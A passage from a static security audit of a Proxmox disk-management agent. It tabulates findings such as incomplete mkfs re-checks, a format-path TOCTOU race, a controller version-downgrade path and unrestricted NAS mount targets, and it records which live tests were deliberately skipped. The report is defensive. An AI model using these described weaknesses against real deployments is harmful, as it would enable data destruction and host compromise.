(`felhom-mkfs-guarded.sh`) re-checks only system-disk / LVM-PV / foreign-mount — **not** ZFS/mdraid/LUKS/swap/read-only, so it can't catch a bypassed agent on those. | Add those FSTYPE + `/sys` ro re-checks to the wrapper; use an absolute `pvs` path. | new (defense-in-depth below the classifier) | N (primary guard `classifyClaim` covers all cases) | | **D3** | INFO (susp.) | Blank-format path (`disks.go:681`) formats the **mutable `/dev` path** with no durable-id re-resolution — AGENT-001's TOCTOU, left open on the benign branch; `Format`'s own precondition comment is violated. | Re-resolve the durable id on the blank branch too (mirror `disks.go:714`). | new (sibling of AGENT-001, not a pool finding) | N | | **D2** | INFO (susp.) | `classifyClaim` reads an empty-but-successful `lsblk` as `unclaimed` (no `len(nodes)==0` / target-present guard). | Refuse when `nodes` is empty or the target whole-disk is absent from the tree. | new | N | | **C1** | INFO (susp.) | `/controller/swap` regex pins host+repo but accepts **any semver** → a compromised controller can downgrade to an older vulnerable release (within its own guest). | Agent-side minimum-version floor. | new (adjacent to controller-swap SPIKE) | N | | **C2** | INFO (susp.) | `/netstorage/add` `server`/`export` are free → attacker-NAS host-side mount (host kernel NFS/CIFS client + attacker FS into guest). Creds-path attack is closed. | Operator/allowlist gate on NAS server addresses for shared boxes. | new | N | | **A2** | INFO | Reversibility gate consumes caller-stamped provenance without journal cross-check; guarantee lives entirely in the call-site `launched`/UPID discipline. | Add a defensive comment/guard; consider a journal cross-check for self-authored teardowns. | duplicate-adjacent to **F1** root cause | N | | **B2** | INFO | `AttachDrive`/`DetachDrive` don't self-reject `..` (safe only because callers gate). | Self-validate `where` in the bind helpers. | new (defense-in-depth) | N | | **B3/B4/B5** | INFO | Coarser-than-needed wildcards (B3); `privileged.go` forms absent from sudoers, fail-closed (B4); dead `systemctl reload dnsmasq` grant (B5). | Tighten wildcards; document/prune. | new (housekeeping) | N | | **E1/E2** | INFO | `decommission.go` comment drift (E1); tautological `bindsToAction` for one-shot jobs (E2). | Correct the comment; note the real one-shot binding control. | new (doc/clarity) | N | | **C3** | — | Eject/decommission dependent-guest scan is advisory-only. | (already tracked) | **= F5** (duplicate) | N | --- ## NOT validated / needs supervised live test This audit was **100% static + non-destructive**. The following would each require a *destructive* live effect and were deliberately **not** run (§13 STOP): - **A1** under a real broad/root token — would need to redeploy the agent with a broad token and park a foreign guest in a stale-locked state; needs a supervised host with a throwaway non-felhom guest. - **B1** — would need a second non-root local account on the Proxmox host and a race harness against a real guesthook install; the standard host doesn't provide the account. - **D1/D3** — proving these requires an actual `mkfs` against a crafted ZFS/mdraid/LUKS/swap member (D1) or a live `/dev` re-enumeration race during a real format (D3). **Not run** — no real disk was formatted. - **C1** — a real controller-swap to an older image against guest 9201. **Not run.** - **C2** — a real NAS mount from an attacker-controlled server. **Not run.** All are documented as sequences/fixtures + named negative tests so a follow-up fix spec can prove them in unit-land or on a supervised scratch host. ## Cleanup confirmation - **No throwaway probe artifacts created** — the audit used only source reads and read-only verification greps. No spike token was minted, no scratch guest/decoy created, no marker path written, no `go run`/`go test` harness left behind. - **Live state untouched:** the agent was not restarted or reconfigured; guest 9201, the enrolled drives, the `FelhomAgent` role / `felhom-agent@pve` token / its ACL, and the `felhom` pool were **not** modified (no live mutation was issued at all). - **`felhom-agent` repo: read-only** — no file written, no version bump, no branch. - **No secret committed** — this doc references tokens/keys/codes only as "stored out-of-band"; no fingerprint, nonce, or key material appears. ## Observations (tempting-but-out-of-scope; recorded, not acted on) - The `validate.go:34-36` comment still says the sudoers mkfs entries are "per-fstype binaries (mkfs.ext4/mkfs.xfs)"; the FORMAT alias now routes *only* through `felhom-mkfs-guarded` (raw mkfs.* is no longer allowlisted). Stale comment, not a security issue — noted for a future doc pass. - Several INFO items (B3 wildcard tightening, B5 dead grant, E1/E2 comment fixes) are one-liners that would tighten least-privilege / clarity; deliberately left as a batch for a separate implementation spec rather than patched here (this is an audit). - A1, D1, D3 are the three worth folding into the next agent fix spec together — they are the "defense-in- depth is asymmetric / a second gate doesn't fully mirror the first" theme running across strands A and D.